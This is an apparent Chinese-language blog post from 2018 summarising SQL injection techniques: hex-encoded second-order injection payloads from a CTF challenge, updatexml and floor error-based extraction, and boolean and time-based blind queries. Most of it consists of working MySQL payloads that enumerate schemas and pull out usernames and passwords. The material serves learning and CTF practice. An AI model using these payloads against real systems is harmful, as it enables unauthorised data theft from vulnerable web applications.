sql注入总结

作者: 你还没熟 | 来源:发表于2018-05-16 19:55 被阅读56次

    参考文献:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484372&idx=1&sn=ffcc51a88c9acf96c312421b75fc2a26&chksm=ec1e33fcdb69baea53838fd545a236c0deb8a42f3b341ee0879c9e4ac9427c2147fab95b6669#rd

    sql二次注入原理
    在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashesget_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
    比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。(某次比赛的payload,先注册,进去之后会显示注册的时候输入的年龄。 is_numeric函数可以用16进制绕过)

    123 order by 5 # 0x313233206f7264657220627920352023
    
    123 and union select 1,2,3,4# 
     0x31323320616e64203020756e696f6e2073656c65637420312c322c332c342023
    
    123 and 0 union select 1,(select database()),3,4#
    0x31323320616e64203020756e696f6e2073656c65637420312c2873656c6563742064617461626173652829292c332c3423
    
    123 and 0 union select 1,(select group_concat(table_name)),3,4 from information_schema.tables where table_schema='qwb'#  0x31323320616e64203020756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e636174287461626c655f6e616d6529292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723
    
    123 and 0 union select 1,(select group_concat(column_name)),3,4 from information_schema.columns where table_schema='qwb' and table_name='flag'#
    0x31323320616e64203020756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d6529292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d277177622720616e64207461626c655f6e616d653d27666c61672723
    
    123 and 0 union select 1,(select flag from flag),3,4 #
    0x31323320616e64203020756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167292c332c342023
    

    updatexml禁用concat

    mysql> select updatexml(1,hex((select user())),1);
    ERROR 1105 (HY000): XPATH syntax error: 'F6F74406C6F63616C686F7374'
    

    updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了

    可以使用下面的函数来显示

    mysql> select updatexml(1,make_set(3,'~',(select user())),1);
    ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost'
    
    mysql> select updatexml(1,lpad('@',30,(select user())),1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
    
    mysql> select updatexml(1,repeat((select user()),2),1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
    
    mysql> select updatexml(1,(select user()),1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhost'
    mysql> select updatexml(1,reverse((select user())),1);
    ERROR 1105 (HY000): XPATH syntax error: '@toor'
    
    mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
    ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
    

    报错注入:

    floor报错

    获取数据库名:
    select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
    
    获取表名:
    select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
    
    获取字段名:
    select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
    
    获取内容:
    select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
    

    UpdateXml报错注入

    获取表名
    select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
    
     获取字段
    select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);
    
    获取内容
     select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);
    

    布尔盲注(无论输入什么就只有正确和错误,就是基于布尔的盲注。)

    通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。

    判断当前数据库的长度
    select length(database())>7;//当>8的时候输出为0,则数据库长度为7。
    
    查看表的长度
    select length(table_name)>6  from information_schema.tables where table_schema=database() limit 0,1;
    
    查看表名
    select table_name from information_schema.tables where table_schema=database() limit 0,1;
    
    获取表名第一个字符
    select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
    
    获取表名第一个字符的ASCII
    select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;
    
    获取字段名与字段内容原理一样。
    

    时间盲注

    原理:
    当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0,但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。

    select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,1,sleep(5)) m;
    

    查询语句正确是m为1,不正确是会延时5s,输出0。

    相关文章

      网友评论

      本文标题:sql注入总结

      本文链接:https://www.haomeiwen.com/subject/tuwlcftx.html